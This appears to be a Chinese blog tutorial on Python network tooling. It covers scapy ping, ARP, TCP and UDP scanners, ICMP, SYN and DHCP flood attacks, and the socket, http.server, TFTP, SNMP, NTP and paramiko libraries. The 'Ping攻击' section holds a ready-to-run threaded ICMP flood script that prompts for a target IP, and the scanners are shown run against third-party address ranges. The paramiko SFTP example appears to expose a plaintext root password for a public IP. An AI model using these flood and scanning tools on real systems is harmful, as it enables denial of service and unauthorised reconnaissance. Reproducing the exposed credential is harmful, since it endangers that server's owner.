查看回包的摘要信息

1
2
>>> r.summary()                                                                             
'IP / TCP 183.232.231.174:http > 192.168.248.144:ftp_data SA / Padding'

我们发送的数据保重flags=‘S’,收到的回包是SA,百度已经正确回应。

完整的回包是

1
2
>>> r                                                                                       
<IP version=4 ihl=5 tos=0x0 len=44 id=65334 flags= frag=0 ttl=128 proto=tcp chksum=0xe2c4 src=183.232.231.174 dst=192.168.248.144 |<TCP sport=http dport=ftp_data seq=48195089 ack=1 dataofs=6 reserved=0 flags=SA window=64240 chksum=0xdaff urgptr=0 options=[('MSS', 1460)] |<Padding load='\x00\x00' |>>>

ping程序扫描存活主机

使用scapy作为引擎编写一个ping扫描工具,ping扫描主要是探测网络上的一些存活主机。在渗透测试中第一步往往都是信息收集,而信息收集的第一步是确认主机是否存活。通常很多小黑们都是使用系统自带的扫描工具,下面我们亲手制造一个扫描工具,了解其中的扫描原理。

程序编写需要使用python的scapy,logging,random,threading,ipaddress,sys,time模块

导入模块

1
2
3
4
5
6
7
from scapy.all import *
import ipaddress
import logging
import random
import threading
import sys
import time

编写程序首先需要有一个思路,使用scapy的ping扫描的核心就是,给对方发送一个IP/ICMP数据包,如果对方回应就可以 判断存活。下面分步骤来编写扫描器。

清除模块导入时的提示信息

scapy模块导入时会出现依赖未安装的提示,其实这些依赖都无关紧要,都是一些图像或者和IPv6有关的信息。

1
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

日志清除报错信息

IP段生成

扫描主机基本上都是扫描一个IP段,手动输入特别麻烦,一般都是IP后面跟上/24之类的掩码。比如192.168.0.0/24代表192.168.0.0-255,使用ipaddress生产 非常方便

1
2
3
all_ip = ipaddress.ip_network('192.168.0.0/24')
for ip in all_ip:
print(ip)

注意这里的所有IP都是ipaddress.IPv4Address对象,使用的时候转成str类型

填写报文信息

查看IP报文信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>>> IP().show()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 192.168.31.204
dst= 127.0.0.1
\options\

上面的报文有些是必填的信息

  • id值需要更改这样会表现的数据包更随机
  • ttl值随意可以改成Linux系统的ttl值
  • src源地址千万不要动,如果更改了会造成返回的数据包发给别人的计算机,无法判断目标是否存活
  • dst目标IP地址设置成需要探测的地址

查看ICMP报文信息

1
2
3
4
5
6
7
>>> ICMP().show()
###[ ICMP ]###
type= echo-request
code= 0
chksum= None
id= 0x0
seq= 0x0
  • id需要修改为随机id
  • seq序列号修改为随机
1
2
3
ip_id = random.randint(0,65535)
icmp_id = random.randint(0,65535)
seq = random.randint(0,65535)

使用随机函数生三个随机数,都是0到65535,为什是65535,因为他们都是16位。

将ip和上面的随机数填入报文构造一个数据包

1
ping = IP(dst=ip,id=ip_id)/ICMP(id=icmp_id,seq=seq)/b"who are you"

发送数据包

1
response = sr1(ping,verbose=0,timeout=2)
  • sr1表示发一收一
  • verbose=0是设置不要回显发包的过程
  • timeout=2表示发包出去,两秒没收到包就停止

收到的数据包传递给了response

为了确保可行性,先给百度发一个包看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
###[ IP ]### 
version = 4
ihl = None
tos = 0x0
len = None
id = 62581
flags =
frag = 0
ttl = 64
proto = icmp
chksum = None
src = 192.168.31.204
dst = Net('www.baidu.com')
\options \
###[ ICMP ]###
type = echo-request
code = 0
chksum = None
id = 0x4421
seq = 0xf65a
###[ Raw ]###
load = 'who are you'
None

上面这个是我们发送的数据包

下面这个是百度给我们回应的包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
###[ IP ]### 
version = 4
ihl = 5
tos = 0x4
len = 39
id = 62581
flags =
frag = 0
ttl = 54
proto = icmp
chksum = 0x1053
src = 183.232.231.172
dst = 192.168.31.204
\options \
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0x29f8
id = 0x4421
seq = 0xf65a
###[ Raw ]###
load = 'who are you'
None

ping的特色就是发什么回什么,我们发了一个who are you百度也回了一个

如果目标是死的会回什么呢?做一下实验将数据包发送给一个不存在的主机

1
2
3
4
ping = IP(dst="193.168.0.0",id=ip_id)/ICMP(id=icmp_id,seq=seq)/b"who are you"

>>>
None

没有回应打印了None,利用这个特性可以很容易判断主机是否存活

加入条件,如果主机存活打印出来IP存活,不存活则不打印

1
2
if response != None:
print("{ip} 存活".format(ip=ip))

多线程扫描

将上面的整理封装成ping函数,使用线程调用函数。

1
2
3
all_ip = ipaddress.ip_network(get_ip)
for ip in all_ip:
thread = threading.Thread(target=ping,args=(str(ip),))

接收外部参数,主函数如下

1
2
3
4
5
6
7
if __name__=="__main__":
get_ip = sys.argv[1]
all_ip = ipaddress.ip_network(get_ip)
print("正在扫描"+all_ip+"网段")
for ip in all_ip:
thread = threading.Thread(target=ping,args=(str(ip),))
thread.start()

优化一下界面,得到完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from scapy.all import *
import ipaddress
import logging
import random
import threading
import sys
import time

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

def ping(ip):

ip_id = random.randint(0,65535)
icmp_id = random.randint(0,65535)
seq = random.randint(0,65535)

ping = IP(dst=ip,id=ip_id)/ICMP(id=icmp_id,seq=seq)/b"who are you"
response = sr1(ping,verbose=0,timeout=2)
if response != None:
print("{ip} 存活".format(ip=ip))


if __name__=="__main__":
print(" //^^^^^^))")
print(" // ))")
print(" //======))")
print(" // ")
print(" // ")
print("// ——Blosslom")
try:
get_ip = sys.argv[1]
all_ip = ipaddress.ip_network(get_ip)
print("正在扫描"+str(all_ip)+"网段")
for ip in all_ip:
thread = threading.Thread(target=ping,args=(str(ip),))
thread.start()
except:
print("输入错误请检查输入")
print("网段需要类似192.168.0.0/24以0结尾")
time.sleep(1)
print("进程退出")

使用结果如下

1
2
3
4
5
6
7
8
9
10
11
12
F:\桌面>ping.py 183.232.231.0/24
//^^^^^^))
// ))
//======))
//
//
// ——Blosslom
正在扫描183.232.231.0/24网段
183.232.231.5 存活
183.232.231.9 存活
183.232.231.6 存活
......

扫描了百度所在的网段,几乎全部是存活的。

扫描程序的局限性

我使用该程序扫描我本地路由的ip有些存活的无法识别,是因为防火墙阻挡了ICMP数据包,对方不接受ping的数据包,所以无法识别这些设备。

ARP局域网发现

使用arp扫描局域网的主机,准确率高达99%以上,因为只要是连接在局域网里的主机都会相应arp数据包。

编写过程和ping扫描差不多,只需要更改发送的数据包。由于arp是二层协议,所以它无法跨路由进行扫描,只能扫描同一网段的主机。

准备好上面ping扫描的源代码,对其发包代码进行修改,测试。

查看Ether和ARP的报文信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
###[ Ethernet ]###
dst= 78:a3:51:a1:fd:00
src= a8:6b:ad:83:23:37
type= ARP
###[ ARP ]###
hwtype= 0x1
ptype= IPv4
hwlen= None
plen= None
op= who-has
hwsrc= a8:6b:ad:83:23:37
psrc= 192.168.8.192
hwdst= 00:00:00:00:00:00
pdst= 0.0.0.0

需要将Ether的dst改成广播地址,ARP的pdst改成目标IP,只需设置这两个参数即可。

除之外还需要判断用户输入的是不是局域网的IP段,逻辑代码如下,需要使用socket

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import socket
import sys

def get_local_ip():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('www.baidu.com', 80))
ip = s.getsockname()[0]
finally:
s.close()
return ip
if __name__ == '__main__':
ip = sys.argv[1]
local_ip_all = str(get_local_ip())
local_ip = local_ip_all.split(".")
ip = ip.split(".")
if str(ip[0]+ip[1]+ip[2])==str(local_ip[0]+local_ip[1]+local_ip[2]):
print("ok")
else:
print("输入错误请输入和{local_ip_all}同网段的地址".format(local_ip_all=local_ip_all))

编写完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from scapy.all import *
import ipaddress
import logging
import random
import threading
import sys
import time
import socket

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

def arp(ip):
arp = Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=ip)/b"who are you"
response = srp1(arp,verbose=0,timeout=1)
if response != None:
print("{ip} 存活".format(ip=ip))

def get_local_ip():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('www.baidu.com', 80))
ip = s.getsockname()[0]
finally:
s.close()
return ip

if __name__=="__main__":
print(" /\\")
print(" // \\\\ ))")
print(" //====\\\\==】)")
print(" //- ARP -\\\\]")
print(" // \\\\")
print("// \\\\ ——Blosslom")
try:
get_ip_all = sys.argv[1]
get_ip = get_ip_all.split(".")
local_ip_all = str(get_local_ip())
local_ip = local_ip_all.split(".")
if str(get_ip[0]+get_ip[1]+get_ip[2])==str(local_ip[0]+local_ip[1]+local_ip[2]):
all_ip = ipaddress.ip_network(get_ip_all)
print("正在扫描"+str(all_ip)+"网段")
for ip in all_ip:
thread = threading.Thread(target=arp,args=(str(ip),))
thread.start()
else:
print("输入错误请输入和{local_ip_all}同网段的地址".format(local_ip_all=local_ip_all))

time.sleep(1)
print("进程退出")
except:
print("输入错误请检查输入")
print("请输入和{local_ip_all}同网段的地址".format(local_ip_all=local_ip_all))

这种ARP扫描无法跨路由进行扫描,虽然很精确但是非常受限。

TCP端口开放扫描

使用TCP三次握手的特性,我们发送S字段的flags标志位,如果目标端口返回SA字段的flags标志位则可以说明目标的端口是开放的。TCP端口扫描的程序设计是比前面两个复杂的。假设需要对一个网段的所有端口进行扫描,则需要进行1.7千万次的发包,所以扫描是一个非常缓慢的过程。

需要导入模块scapy,logging,random,threading,ipaddress,sys,time模块

1
2
3
4
5
6
7
from scapy.all import *
import ipaddress
import logging
import random
import threading
import sys
import time

清除提示信息

1
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

数据包

IP/TCP数据包如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= tcp
chksum= None
src= 192.168.31.204
dst= 127.0.0.1
\options\
###[ TCP ]###
sport= ftp_data
dport= http
seq= 0
ack= 0
dataofs= None
reserved= 0
flags= S
window= 8192
chksum= None
urgptr= 0
options= []

IP

  • dst目标地址需要设置
  • id可以选择设置随机数

TCP

  • dport目标端口需要设置
  • seq32位数据序号可以设置随机数
  • sport也可以随机设置,防止发现恶意扫描

生产随机参数

1
2
ip_id = random.randint(0,65535)
tcp_seq = random.randint(0,4294967295)

构建数据包

1
tcp = IP(id=ip_id,dst="193.112.63.1")/TCP(dport=(1,100),seq=tcp_seq)

IP段生成

1
2
3
all_ip = ipaddress.ip_network('192.168.0.0/24')
for ip in all_ip:
print(ip)

设计数据包集合

1
tcp=[i for i in tcp]

利用生成列表的原理,将每个不同的部分组合。

发送数据包

1
response = [i for i in [sr1(j) for j in tcp]]

将列表里的每一个数据包发送再生成一个新列表

返回值判断

1
2
if response[1].getlayer(TCP).fields['flags']==18:
print("yes")

算法合并

设计数据包,发送数据包,返回值判断这三个可以合并成一行代码,只需要设计好算法,代码就可以正常运行.

编写算法的时候有很多坑,会出现TypeError: ‘NoneType’ object is not subscriptable的情况,因为数据包时以列表的形式发出去的,返回的结果也是被生成列表,所以列表中有的返回值时None,

1
2
3
4
5
...
<IP version=4 ihl=5 tos=0x74 len=40 id=44491 flags=DF frag=0 ttl=52 proto=tcp chksum=0xb7aa src=193.112.63.1 dst=192.168.31.204 |<TCP sport=134 dport=ftp_data seq=0 ack=1 dataofs=5 reserved=0 flags=RA window=0 chksum=0xce4f urgptr=0 |>>,
None,
<IP version=4 ihl=5 tos=0x74 len=40 id=44754 flags=DF frag=0 ttl=52 proto=tcp chksum=0xb6a3 src=193.112.63.1 dst=192.168.31.204 |<TCP sport=136 dport=ftp_data seq=0 ack=1 dataofs=5 reserved=0 flags=RA window=0 chksum=0xce4d urgptr=0 |>>,
...

在后面的处理中会报错,所以需要过滤掉None,使用filter方法,完整合并算法如下:

1
2
3
response = [i if i[1].haslayer(TCP) and i[1].getlayer(TCP).fields['flags']==18 \
else None for i in list(filter(None,[sr1(j,verbose=0,timeout=1) \
for j in [k for k in tcp]]))]

样一句代码就可以将回应SA的数据包保存列表其他以None保存列表,再经过filter进行过滤None

1
response = list(filter(None,response))

其实这样句完全可以合并到上面,但是语法太复杂了,导致很难理解。

优化输出

1
2
3
4
for i in response:        
target_ip = i[0].getlayer(IP).fields["src"]
sport=i[1].getlayer(TCP).fields['sport']
print(str(target_ip)+"端口"+str(sport)+"开放")

输出形式根据自己的设定样式输出

多线程

对每一个IP开启一个线程进行扫描,这样使用的时间就可以大大缩短

1
2
3
4
5
6
7
8
9
10
11
get_ip = sys.argv[1]
all_ip = ipaddress.ip_network(get_ip)
get_start_port = sys.argv[2]
get_end_port = sys.argv[3]
print("正在扫描"+str(all_ip)+"网段的"+str(get_start_port)+" to "+str(get_end_port)+"端口")
for ip in all_ip:
thread = threading.Thread(target=tcp,args=(str(ip),get_start_port,get_end_port,))
thread.start()
time.sleep(1)
print("进程退出")
print("处理数据......")

完成扫描程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from scapy.all import *
import ipaddress
import logging
import random
import threading
import sys
import time
import socket

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

def tcp(ip,start_port,end_port):
ip_id = random.randint(0,65535)
tcp_seq = random.randint(0,4294967295)
tcp_sport = random.randint(0,1000)
tcp = IP(id=ip_id,dst=ip)/TCP(dport=(int(start_port),int(end_port)),seq=tcp_seq)
#tcp = [i for i in tcp]
response = [i if i[1].haslayer(TCP) and i[1].getlayer(TCP).fields['flags']==18 \
else None for i in list(filter(None,[sr1(j,verbose=0,timeout=0.1) \
for j in [k for k in tcp]]))]
response = list(filter(None,response))
if response:
for i in response:
target_ip = i[0].getlayer(IP).fields["src"]
sport=i[1].getlayer(TCP).fields['sport']
print(str(target_ip)+"端口|"+str(sport)+"|开放")
print("========================")


if __name__=="__main__":
print("===============")
print(" || ))")
print(" ||\ ==】)")
print(" TCP TCP -\\\\]")
print(" ||")
print(" || ——Blosslom")
try:
get_ip = sys.argv[1]
all_ip = ipaddress.ip_network(get_ip)
get_start_port = sys.argv[2]
get_end_port = sys.argv[3]
print("正在扫描"+str(all_ip)+"网段的"+str(get_start_port)+" to "+str(get_end_port)+"端口")
for ip in all_ip:
thread = threading.Thread(target=tcp,args=(str(ip),get_start_port,get_end_port,))
thread.start()
time.sleep(1)
print("进程退出")
print("处理数据......")
except:
print("输入错误请检查输入")
print("输入格式为 IP 起始端口 结束端口")
print("例如:tcp.py 8.8.8.0/24 1 100")

使用效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
F:\桌面>tcp.py 193.112.63.0/30 1 100
===============
|| ))
||\ ==】)
TCP TCP -\\]
||
|| ——Blosslom
正在扫描193.112.63.0/30网段的1 to 100端口
进程退出
处理数据......
193.112.63.1端口|22|开放
193.112.63.1端口|80|开放
========================
193.112.63.2端口|21|开放
193.112.63.2端口|22|开放
193.112.63.2端口|80|开放
========================

UDP端口扫描

UDP端口扫描类似TCP端口扫描的编写方法,只不过返回数据包判断不同,开放的UDP端口不对包进行回应,未开放的UDP端口会回应一个ICMP的端口不可达的差错报文。通过判断是否回应数据包来判断是否开放UDP端口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from scapy.all import *
import ipaddress
import logging
import random
import threading
import sys
import time
import socket

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

def udp(ip,start_port,end_port):
ip_id = random.randint(0,65535)
udp_sport = random.randint(1000,2000)
udp = IP(id=1,dst=ip)/UDP(dport=(int(start_port),int(end_port)))
#tcp = [i for i in tcp]
#response = [i if i[1].haslayer(TCP) and i[1].getlayer(TCP).fields['flags']==18 \
# else None for i in list(filter(None,[sr1(j,verbose=0,timeout=0.1) \
# for j in [k for k in tcp]]))]
udp_list = [j for j in udp]
#print(udp_list[1].show())
#print(sr1(udp_list[1],verbose=0,timeout=0.1))
for i in udp_list:
response = sr(i,verbose=0,timeout=5)
try:
if response[1].res[0].haslayer(UDP):
print(str(i.dst)+"端口|"+str(i.dport)+"|开放")
except:
pass



if __name__=="__main__":
print("|| ||")
print("|| || ))")
print("|| ||\ ==】)")
print(" || UDP ||P -\\\\]")
print(" || ||")
print(" ||UU|| ——Blosslom")
try:
get_ip = sys.argv[1]
all_ip = ipaddress.ip_network(get_ip)
get_start_port = sys.argv[2]
get_end_port = sys.argv[3]
print("正在扫描"+str(all_ip)+"网段的"+str(get_start_port)+" to "+str(get_end_port)+"端口")
for ip in all_ip:
thread = threading.Thread(target=udp,args=(str(ip),get_start_port,get_end_port,))
thread.start()
time.sleep(1)
print("进程退出")
print("处理数据......")
except:
print("输入错误请检查输入")
print("输入格式为 IP 起始端口 结束端口")
print("例如:tcp.py 8.8.8.0/24 1 100")

扫描结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
F:\桌面>udp.py 193.112.63.0/29 1 100
|| ||
|| || ))
|| ||\ ==】)
|| UDP ||P -\\]
|| ||
||UU|| ——Blosslom
正在扫描193.112.63.0/29网段的1 to 100端口
进程退出
处理数据......
193.112.63.0端口|1|开放
193.112.63.3端口|1|开放
......

结果非常不准确,有很大的误差。因为如果主机没有存活也是不会回包的。

绕过防火墙扫描

扫描原理

如果数据包抵达防火墙时TTL值为0时,而且这个端口确实被防火墙放过的,防火墙会返回一个ICMP超时差错数据包

Ping攻击

单纯的ping即使使用全部带宽都不一定能ping死服务器,但是借助别人的服务器来攻击目标服务器是有希望攻击到目标的,铸造ping包广播服务器组攻击目标的方法叫Smurf攻击。广播包走路由需要使三层包结构,目标地址是255。不过现在很少有路由器允许这种包转发了(ip directed-broadcast),有远程唤起的服务器组可能开启

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from scapy.all import *
import ipaddress
import logging
import random
import threading
import sys
import time
import socket

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

def ping(ip):
ip_id = random.randint(0,65535)
udp_sport = random.randint(1000,2000)
ping = IP(id=ip_id,dst=ip)/ICMP()/b"you have be DDoS"*200
print("attack")
while True:
send(ping,verbose=0)



if __name__=="__main__":
ip = input("输入IP:")
threads=int(input("输入线程:"))
for i in range(threads):
thread = threading.Thread(target=ping,args=(str(ip),))
thread.start()

SYN DDoS

基于TCP通讯协议,TCP建立连接需要进行三次握手,客户端发送SYN,服务器回SYN+ACK,客户端回ACK,完成上述才能进行正常TCP通讯。所谓SYN DDoS就是只发送SYN数据包,对于服务器返回的SYN+ACK不处理,占用服务器的处理内存。SYN+ACK数据包发送到收到客户端的ACK回包有一个时间叫RTT时间,时间一到服务器就会取消等待,攻击需要在RTT时间内占满服务器的内存。

达到拒绝服务的原理是占用了合法的数据,其他的连接状态被占用,服务器返回RST数据包造成拒绝服务。

Handshake DDoS

和上面原理类似,不过这个是真正的建立连接。一个主机建立握手是有限的,还是必须使用随机的IP地址。

DHCP DDoS

使用discover寻求IP地址,耗尽资源,使用二层包发送方法

1
Ether(dst="FF:FF:FF:FF:FF:FF",src=RandMAC,type=0x0800)/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(dport=67,sport=68)/BOOTP(op=1,chaddr=RandMAC/DHCP(option=[("message-type","discover"),("param_req_list",b"\x01\x06\x0f,\x03!\x96+"),("end")])

ARP毒化

2D图像

需要安装依赖包,pip install pyx

如果想要可视化一个数据包只需要一行命令即可

1
2
3
4
5
6
7
8
9
10
>>> a=IP()/TCP()/UDP()
>>> a
<IP frag=0 proto=tcp |<TCP |<UDP |>>>
>>> a.pdfdump(layer_shift=1)
WARNING: No IP underlayer to compute checksum. Leaving null.
kpsewhich: security risk: running with elevated privileges
kpsewhich: security risk: running with elevated privileges
kpsewhich: security risk: running with elevated privileges
Ignoring line 25086 in mapping file 'pdftex.map': Unsupported Postscript fragment 'TeXBase1Encoding 0.167'
Ignoring line 25089 in mapping file 'pdftex.map': Unsupported Postscript fragment 'TeXBase1Encoding 0.167'

可视化了堆叠的三个数据包,生成了pdf文件

还可以生产eps文件用于photoshop打开

1
a.psdump()

Socket

socket又叫套接字,通过网络连接硬件之间的通讯。他是python的一个标准库,直接导入可以使用。

1
import scoket

流程

服务端流程

  • 实例化套接字对象
  • 绑定IP:Port
  • 循环监听
  • 连接
  • 关闭连接
  • 关闭服务

http

python的HTTP使用很少,因为他只有组基本的安全保障,一般都是使用框架例如django,flask。因为http是内置库用起来很方便,如果不是什么大项目还是可以使用的。

server

使用这个可以自己编写web服务器。具体操作如下

1
2
3
4
5
6
7
from http.server import HTTPServer,SimpleHTTPRequestHandler
import sys

ip = sys.argv[1] #接收第二个参数
port = sys.argv[2] #接收第三个参数
web = HTTPServer((ip,int(port)),SimpleHTTPRequestHandler) #实例化http连接对象,指定ip和端口
print(web[0])

导入文件的格式,不能直接导入http因为http和http.server不是一个文件。HTTPServer用来创建对象的一个server类,SimpleHTTPRequestHandler是一个用来处理request的Handler类,所有请求被HTTPServer接收到都交给SimpleHTTPRequestHandler处理。

1
2
3
4
5
6
try:
web.serve_forever() #持续运行服务
except KeyboardInterrupt: #ctrl+C报错
print("\nKeyboard interrupt received, exiting.")
web.server_close() #结束web服务
sys.exit(0) #推出python程序

这段代码和上面的联合起来就是一个简单的web服务,在通国际目录下放入index.html文件就可以形成一个网站。

使用这个搭建的网址危险系数是很高的!

minumumTFTP

这是一个用来TFTP传输文件的一个模块,首先需要安装模块pip install minumumTFTP

服务端

进入python

1
2
3
>>>import minimumTFTP
>>>Server = minimumTFTP.Server('path')
>>>Server.run()

启动的path是用来存放文件的

不进入python

1
python-m minimumtftp-s[目录]

客户端

客户端可以收发文件

进入python

1
>>>Client = minimumTFTP.Client(server_IP,client_directory, filename)

收文件

1
Client.get()

发文件

1
Client.put()

不进入python

收文件

1
python-m minimumtftp-g[serverip][client_directory][filename]

发文件

1
python-m minimumtftp-p[serverip][client_directory][filename]

PySNMP

需要安装pip install pysnmp

在python文件中导入模块

1
from pysnmp.hlapi import *

创建SNMP引擎

1
2
>>> SnmpEngine()
SnmpEngine(snmpEngineID=<SnmpEngineID value object, tagSet <TagSet object, tags 0:0:4>, subtypeSpec <ConstraintsIntersection object, consts <ValueSizeConstraint object, consts 0, 65535>, <ValueSizeConstraint object, consts 5, 32>>, encoding iso-8859-1, payload [0x80004fb80532e05b88]>)

0x80004fb80532e05b88这个是引擎唯一标识

查询

dir()

使用dir可以列出很多

1
2
>>> dir()
['Bits', 'CommunityData', 'ContextData', 'Counter32', 'Counter64', 'EndOfMibView', 'Gauge32', 'Integer', 'Integer32', 'IpAddress', 'NoSuchInstance', ...]

每一个都是一个对象

取出名字有Cmd的

1
2
>>> [i for i in dir() if 'Cmd' in i]
['bulkCmd', 'getCmd', 'nextCmd', 'setCmd']

打印getCmd

1
2
>>> getCmd
<function getCmd at 0x0000029BA194F268>

NTPlib

需要安装模块pip install ntplib

导入模块

1
2
3
4
>>>import ntplib
>>>import time
>>>c = ntplib.NTPClient() #创建客户端对象
<ntplib.NTPClient object at 0x00000253572864E0>

打印的是一个对象

1
2
>>>response = c.request('pool.ntp.org')  #访问国家时间网,获取时间对象
<ntplib.NTPStats object at 0x0000025B47245128>

同样时一个对象

1
2
>>>print(response.tx_time)
1594705862.7639685

时间戳

1
2
3
>>>now = time.localtime(response.tx_time)  #转化时间
>>>print(now)
time.struct_time(tm_year=2020, tm_mon=7, tm_mday=14, tm_hour=13, tm_min=51, tm_sec=2, tm_wday=1, tm_yday=196, tm_isdst=0)

将时间戳转化成日常时间

1
2
3
>>>get_now = time.strftime("%H:%M:%S",now)  #格式化时间
>>>print(get_now)
13:54:19

格式化输出时间

安照秒数电脑本身计时少了一秒,影响不大。应用到加密中很有用。

paramiko

需要安装pip install paramiko,他是python的一个库,可以使用ssh协议对远程服务器进行操作,分为两大模块

SSHClient

远程终端连接

1
2
3
4
>>>import paramiko
>>>client = paramiko.SSHClient() #实例化对象
>>>client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #保存服务器信息到本地
>>> client.connect(hostname='193.112.63.1', port=22, username='root', password='*******') #信息认证登陆,pkey=paramiko.RSAKey.from_private_key_file('path')使用密钥文件打开连接

执行系统命令

1
2
client.exec_command('df -h ')
(<paramiko.ChannelFile from <paramiko.Channel 1 (open) window=2097152 -> <paramiko.Transport at 0x16159da0 (cipher aes128-ctr, 128 bits) (active; 1 open channel(s))>>>, <paramiko.ChannelFile from <paramiko.Channel 1 (open) window=2097152 -> <paramiko.Transport at 0x16159da0 (cipher aes128-ctr, 128 bits) (active; 1 open channel(s))>>>, <paramiko.ChannelFile from <paramiko.Channel 1 (open) window=2097152 -> <paramiko.Transport at 0x16159da0 (cipher aes128-ctr, 128 bits) (active; 1 open channel(s))>>>)

返回了元组,里面有三个对象,分开接收

1
2
3
4
5
6
7
8
9
10
>>>put,out,err=client.exec_command('df -h ')  #只看输出out
print(out.read().decode("utf-8")) #需要进行编码
Filesystem Size Used Avail Use% Mounted on
udev 928M 0 928M 0% /dev
tmpfs 188M 2.0M 186M 2% /run
/dev/vda1 50G 14G 34G 29% /
tmpfs 939M 32K 939M 1% /dev/shm
tmpfs 5.0M 0 5.0M 0% /run/lock
tmpfs 939M 0 939M 0% /sys/fs/cgroup
tmpfs 188M 0 188M 0% /run/user/0

SFTPClient

实现远程文件操作,文件上传、下载、修改文件操作。

配置登陆

1
2
3
>>>tran = paramiko.Transport(('193.112.63.1', 22))  #配置IP端口
>>>tran.connect(username="root", password='@txsgds2b') #使用密码连接pkey=paramiko.RSAKey.from_private_key_file('path')使用密钥文件打开连接
>>>sftp = paramiko.SFTPClient.from_transport(tran) #实例化对象

操作文件

1
2
3
>>>sftp.put("F:\\桌面\\1.py", "/root/1.py")  #上传文件,第一个是本地目录注意格式
<SFTPAttributes: [ size=191 uid=0 gid=0 mode=0o100644 atime=1594709318 mtime=1594709318 ]>
>>> sftp.get("/root/1.py","F:\\桌面\\11.py") #下载文件,没有报错提示表示成功,第一个时服务器目录